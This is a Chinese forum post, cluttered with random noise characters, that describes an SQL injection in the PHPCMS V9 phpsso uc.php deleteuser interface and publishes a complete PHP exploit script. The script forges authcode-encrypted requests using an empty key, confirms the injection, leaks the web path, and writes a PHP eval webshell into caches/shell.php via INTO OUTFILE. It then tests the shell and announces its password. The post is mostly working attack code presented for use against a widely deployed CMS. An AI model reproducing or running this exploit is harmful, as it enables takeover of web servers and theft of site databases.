PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
, [& G3 ]- J8 R1 {" } P( }1 I1 q4 @) Q! d4 n
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: n: z) T0 F6 [$ u9 M: D: W
$ i9 U$ \, I6 d6 z+ _- p漏洞分析:
; Z/ g C9 H+ `& A7 p1.未启用ucenter服务的情况下uc_key为空
* T7 v8 v: p1 V; O* h) Kdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 J5 P9 b1 U! Y* |% }4 H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。7 ^' ?. E3 K" y( R9 {
public function deleteuser($get,$post) {
6 O3 p ~; p* _$ W* Q pc_base::load_app_func('global', 'admin');
7 A$ N/ ]: _2 V/ s- d& k5 |: h pc_base::load_app_class('messagequeue', 'admin' , 0);
7 m$ B% u- U9 p $ids = new_stripslashes($get['ids']);; ^: t- t7 l' Q9 u) n8 X, m6 C
$s = $this->member_db->select("ucuserid in ($ids)", "uid");/ Q6 h- P. E- d- m' t, _9 K
SQL语句为& b8 F8 X! o1 Z" x1 [( v
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 I( I! U1 d4 I
9 ]( ?: ~- [. p- t利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
# G, O4 v. Y0 k( i& o1 Y; a! }" ~<?php
1 A3 P1 h. U5 N( @print_r('
) e$ N- [. ]/ U0 H7 G---------------------------------------------------------------------------
0 n& i# R/ ~5 bPHPcms (v9 or Old Version) uc api sql injection 0day i. K' ]1 S3 F. E
by rayh4c#80sec.com. k7 E7 H9 r( P
---------------------------------------------------------------------------
" P+ ?- x9 Z5 L: S7 H# A');) h" G- }6 s1 I
: A0 C/ w8 E2 a0 t0 @
if ($argc<3) {
7 z( W8 O9 U% E. u print_r('
$ }5 y0 K U4 e4 |1 _% h---------------------------------------------------------------------------
+ _" ~' m3 [$ L/ `7 G: XUsage: php '.$argv[0].' host path OPTIONS
. Z, p; I+ o; q+ ]% ^4 K% W0 Uhost: target server (ip/hostname)1 z/ ]1 n5 i. Z- \
path: path to phpcms2 r7 s8 `0 ~; V1 F
Options:
# h5 S3 Q; T4 x/ Q4 c, |3 T -p[port]: specify a port other than 80 O' }9 U3 D8 _- S( U2 h7 g2 ]! S& f
-P[ip:port]: specify a proxy; @2 {' B/ w: j X9 N1 x
Example:, h, S$ L# ?9 `4 |3 F J
php '.$argv[0].' localhost /
# R1 S$ x! G* M* m) q/ {php '.$argv[0].' localhost /phpcms/ -p81
- z! Y" [7 A K# }2 V vphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
/ l5 w+ M$ t% M3 F# q1 i---------------------------------------------------------------------------9 K8 A6 @$ N* @2 C
');
9 X8 q) H# z$ I8 H die;- X: v2 w* ^# o3 P9 h: L" L
}* K- A4 _9 v, a
) i2 n- k$ j! {3 |
error_reporting(7);) t9 g1 f: X6 K- ]
ini_set("max_execution_time",0);
5 n7 Q# a0 I9 j% U1 t6 h9 Zini_set("default_socket_timeout",5);
2 d W6 P) k+ b/ u( f4 {
( l: a- W* ?" x \function quick_dump($string)
* O& O1 U) l+ W3 N! X{
+ t# f$ G' A& k# l* ~ $result='';$exa='';$cont=0;& B4 [# I5 b$ p; |$ ^/ E
for ($i=0; $i<=strlen($string)-1; $i++)6 Z6 s/ ~1 o$ t; V# S6 M0 N
{& A' s8 S: R9 W e
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ n- Z8 P& |+ z, {4 t6 C
{$result.=" .";}
. E- }' U2 ^* E) k" V else
8 i, Y/ k( B# w' d {$result.=" ".$string[$i];}
# O1 j" N9 S7 w( X; d# E if (strlen(dechex(ord($string[$i])))==2)
4 V; |! k/ d. f7 o. N {$exa.=" ".dechex(ord($string[$i]));}
+ R7 h, ^7 d6 t% g9 L7 x else9 t- ]& c; f6 \8 _6 R
{$exa.=" 0".dechex(ord($string[$i]));}
8 b+ s* H0 s' O' H1 E5 ` $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}" d* u, n# F& W9 ^% z: e
}9 J1 g A1 N* u% {, ~+ L& [6 f/ M9 R
return $exa."\r\n".$result;8 D" o0 ~, Z; G5 r# e
}& m0 `- Q6 x& I
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 q; p% ?! R, |
1 B, `$ q# x' i; [
function send($packet)
- s3 X3 [6 a$ s4 I) P{
. z9 R) G5 J" l7 R global $proxy, $host, $port, $html, $proxy_regex;
- }8 J6 d( j/ T& c0 D if ($proxy=='') {" E6 X# ~6 X3 g* Q# @4 c: t5 M
$ock=fsockopen(gethostbyname($host),$port);& m$ C+ q2 L+ D; I1 k5 C. B
if (!$ock) {
7 p; G% e1 o1 { echo 'No response from '.$host.':'.$port; die;0 ?" F) V# S" f2 k" h
}
) ]: M2 }9 W$ x1 s' O! ` }7 H s& a+ w+ I) g
else {
) @0 Q$ B2 y/ m1 |3 _4 @ $c = preg_match($proxy_regex,$proxy);: p. H& t; l9 k6 n/ Y+ V
if (!$c) {9 g1 {6 h) V% |+ k/ L
echo 'Not a valid proxy...';die;
5 [& {' w' d9 }& s r }4 I; F. r c, F3 ?2 k( k. T
$parts=explode(':',$proxy);6 {6 g9 {) a6 t5 d+ |! r
$parts[1]=(int)$parts[1];
" _6 X. t. C( w; w2 c; n$ e& o echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
5 w- I+ U5 D0 I0 U% n4 `6 l $ock=fsockopen($parts[0],$parts[1]);
- d' S" x% Q# P; e if (!$ock) {" U5 k! ?, j$ M: X+ n; b$ K: ~
echo 'No response from proxy...';die;% f8 {, O$ q8 Y( F3 H: J
}% N6 |8 I3 f( ~* ]0 Z
}
6 Z0 ]# d; z: u fputs($ock,$packet);; H6 y# B' A7 T C( ]7 M1 z
if ($proxy=='') {
1 R8 A3 ^( a4 N' l5 S$ y4 b5 N $html='';4 h) a. t1 k: s6 ~7 V! j- [5 }
while (!feof($ock)) {6 j3 y7 y/ u9 z
$html.=fgets($ock);1 z$ [. y7 C5 i8 v; W
}
/ h/ s2 b' }8 a; F/ X* X }
3 o" C- V! p) r* {( t+ f+ C else {
/ q7 e# W7 b0 T1 w1 } $html='';
2 W( l* K! o. Q. {! o while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
* x, N% V$ _4 u; R9 t $html.=fread($ock,1);
4 b; h" O. d9 t, s }
( y# @; ] C: R }
' e) x! B6 c* ^ { j+ l# r fclose($ock);9 p0 I& f, z; _+ |" Z0 i, Y" P" ~" V- n
}6 C* y: K M1 I1 V2 b0 ?
" n9 V) j- V- }, E# x
$host=$argv[1];! Z A' Y+ ^" T$ i
$path=$argv[2];+ j! m; `; C7 ~
$port=80;
6 R; [- n/ R3 z7 N* M8 J$proxy="";% f% T9 {) b" T6 t0 t
for ($i=3; $i<$argc; $i++){3 r9 w/ j8 W% H6 ^/ G6 ~- x/ Z8 q% M
$temp=$argv[$i][0].$argv[$i][1];
6 a9 Z) H' f; Xif ($temp=="-p")
1 O& z% ^) V. O7 t q# |( ^{
" H# Y" L- q/ l0 T( e+ @- @* I $port=(int)str_replace("-p","",$argv[$i]);
" k" u& |" y) ]) h& h9 s}
: z, ~1 Z4 _4 ^( h' ^' f# J8 C% nif ($temp=="-P")
3 H: s) K! v# L0 C0 H$ B1 u* N{. F. x3 ]2 h+ X0 T1 c+ o6 V' q
$proxy=str_replace("-P","",$argv[$i]);' e- w7 ]' | C: [
}
) h P1 B" v' l- @6 }3 m; _2 T}1 {5 P- U% H! f# c
' B! y& g$ R' m! ^9 h7 H F v5 t
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
8 h) M. n. r7 y, o5 xif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}3 e6 m8 L7 R8 h" r8 h
9 O# G0 }& ?/ q N9 ?6 sfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
4 ]& d& g+ R, ~# t, _7 O2 V& k! p6 U5 H% o1 f
$ckey_length = 4;
+ `9 {- u* T# b T
* I! F! z6 Q% h. s- |& B $key = md5($key ? $key : '');
0 V6 a2 v5 m; S# w% Y0 j A $keya = md5(substr($key, 0, 16));, n& M8 \+ k1 z: ]7 K& m0 f
$keyb = md5(substr($key, 16, 16));1 W$ E+ ^# Y7 ^ z4 n# y& g3 h
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ t# p. r d- ^+ Y9 ^1 A. {- ?$ w/ w) U0 D R
$cryptkey = $keya.md5($keya.$keyc);
/ m- t/ |' a |! N6 j% w( Q1 H $key_length = strlen($cryptkey);
& Z+ U9 U* G! s7 ^$ \% ]! e, q0 r: |2 g7 A5 x: |" H1 a3 v) h7 l
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;# L: N+ V5 @3 U! F. N* u" a- o( q
$string_length = strlen($string);7 E0 `$ \! c- L1 d. W. I1 w) m
0 ^. d) z& u+ e- R" g# U
$result = '';! O8 H0 T, J* O- E' ^; r
$box = range(0, 255);
$ u- W- B1 F6 S6 G
. Z# [5 m! o- I. B3 s $rndkey = array();
" i; H c) ?0 k0 @, ^* @# B2 t1 J) x for($i = 0; $i <= 255; $i++) {7 W+ P; x* ?" b) m8 C, ~* c
$rndkey[$i] = ord($cryptkey[$i % $key_length]);2 h5 @1 U1 |! v, E2 @! b* }
}
! n; @% g) `: S! R w4 g6 o, t1 t9 C6 C$ n" w# ?
for($j = $i = 0; $i < 256; $i++) {
& ~* v& d# f* X0 X7 n' S3 |& P6 b $j = ($j + $box[$i] + $rndkey[$i]) % 256;2 X# d; q4 \$ L% b9 F% [/ g
$tmp = $box[$i];$ T6 U8 y+ l2 s. E
$box[$i] = $box[$j];2 Y1 R$ C% Q8 x/ D
$box[$j] = $tmp;
, b0 j, |/ |1 S: ` [$ y9 _ }
9 f. n* B: H! t0 O, [; Z* z: D2 p
: ]' x( e1 q! B8 R& B( Y for($a = $j = $i = 0; $i < $string_length; $i++) {5 I0 |7 X a# D+ A4 M+ i+ }
$a = ($a + 1) % 256;% A/ {2 k$ D6 P3 x% j% J
$j = ($j + $box[$a]) % 256;: J+ o9 l% H" j+ p
$tmp = $box[$a];
# ^6 |9 N! V& g$ f* W $box[$a] = $box[$j];
3 F$ R6 g0 {. u9 ]2 e6 D3 o $box[$j] = $tmp;
* ]% h2 [- m9 z $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" B* N9 U( ~; v; p6 W# Y7 J }
, M, O$ q3 v6 ~0 X6 p2 C m
- ]9 Z4 @# G+ Z$ Z if($operation == 'DECODE') {/ u3 o7 s( Q# b' `% i, F5 U# s, i2 R
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
# y( t$ Y* O n! @ return substr($result, 26);
' ~. [3 l; r! g1 ]. C( H# Z4 z } else {
3 l: X, q) H. ?2 ` return '';$ ?# w: K0 `* k, `, }2 u
}2 ]( V' ~3 t# }/ F* U
} else {7 z2 K( k/ Z' L0 i* x3 V" ~! L
return $keyc.str_replace('=', '', base64_encode($result));, Z; I6 B% W5 G5 X& l' v
}" J* u1 V; A+ k4 x, P
+ F* C6 w; M/ u, | ?" E- b6 l
}
* y) ^- c% a8 p4 D! V+ m/ M, E2 g
$ Q- V! x/ g" H. Y- I" \$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
; k f9 ~ a/ D$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: E- j- c6 m9 i A! y" P5 Pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 l' j( Q& y. o# a: Z$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. s$ q6 h2 P. ?, D) F, j
$packet.="User-Agent: Mozilla/5.0\r\n";5 `8 Z7 F" u4 x) v* Y* }
$packet.="Host: ".$host."\r\n";1 d' T2 \8 E3 J- n0 c3 I" n
$packet.="Connection: Close\r\n\r\n";- q, [6 D- ?) [- \) v. N
send($packet);
- O, g6 e! M2 r+ |: w @if(strpos($html,"MySQL Errno") > 0){
% K# u; G7 j g8 j3 K% g- aecho "[2] 发现存在SQL注入漏洞"."\n";7 K$ p6 }9 M. c# b- V
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
9 G7 }& o& B. L1 L& K" q# r5 i! z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 _- g( O: J; T, V3 E: X* H# R+ z
$packet.="User-Agent: Mozilla/5.0\r\n";. |. S1 K: t$ n1 e0 P
$packet.="Host: ".$host."\r\n";
: m( R; s, k$ Q$packet.="Connection: Close\r\n\r\n";0 K# d3 ]0 U8 b+ x# y- F
send($packet);
- B7 A& E0 T- v! Q# apreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
% e2 Y! \' m" g) N% n//print_r($matches);
0 p0 J- N, s$ R x3 J, Oif(!empty($matches)){
! ?: c. B+ i; l! ?- T' L+ P+ cecho "[4] 得到web路径 " . $matches[0]."\n";/ X" U& {9 k5 G# e+ S g- i3 J
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
$ F! H, K+ D4 C/ p% z: {& @$SQL = "time=999999999999999999999999&ids=1)";
2 [6 f( C- j6 u/ \" v$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' R f X; a" ~+ O' z' h' _# a7 h6 h$SQL.="&action=deleteuser";
: c* Q8 y+ x$ q" m! C" _$SQL = urlencode(authcode($SQL, "ENCODE", ""));
! B; X2 R1 c) w4 ?echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ P' S j7 p7 l- d* Y7 Y& b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! h$ S3 w- l4 u" q. C6 J$packet.="User-Agent: Mozilla/5.0\r\n";
0 r g) f: w; Y A$packet.="Host: ".$host."\r\n";
0 {: _9 d9 T$ V5 |3 Y% z' ?6 F$packet.="Connection: Close\r\n\r\n";6 P1 B0 l) U/ C
send($packet);
3 P2 {$ O: m& A/ v- b4 o9 Bif(strpos($html,"Access denied") > 0){
5 U2 C8 ~% `. l3 |echo "[-] MYSQL权限过低 禁止写入文件 ";" q# J+ D) b' m8 k
die; a& S$ a3 X. N; n ^
}
6 c. m' _; V* \4 r3 t; a: Q+ secho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$ V! u& z* B, A$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";' I) F! Q2 A! I: V. E
$packet.="User-Agent: Mozilla/5.0\r\n";
F4 q. A) Q1 Z6 T$packet.="Host: ".$host."\r\n";
t" y" |6 F; P6 I$packet.="Connection: Close\r\n\r\n";) k* g2 `- E/ h2 s
send($packet);: u L2 k- N$ O0 [7 C
if(strpos($html,"<title>phpinfo()</title>") > 0){1 X5 Y0 x- y' y5 K; t8 S+ }& r
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
, e1 n% C+ R$ ]0 u% C. ~}! a1 b( C2 O1 s2 l- T6 _' n) |
}else{
4 g" r# x* T N1 o) ^& [echo "[-]未取到web路径 ";! y0 c3 r) K7 @
}
) H. c& j- \$ q}else{
9 J0 }. V/ Q' C' m; Gecho "[*]不存在SQL注入漏洞"."\n";& j4 R4 }& ~3 u; q! }% Z3 ~
}
( K7 d7 k2 c# h+ f- ]! `3 Q1 b& C/ Y: u8 t7 @
?>; l+ O3 I. D5 S3 |7 B; Q
|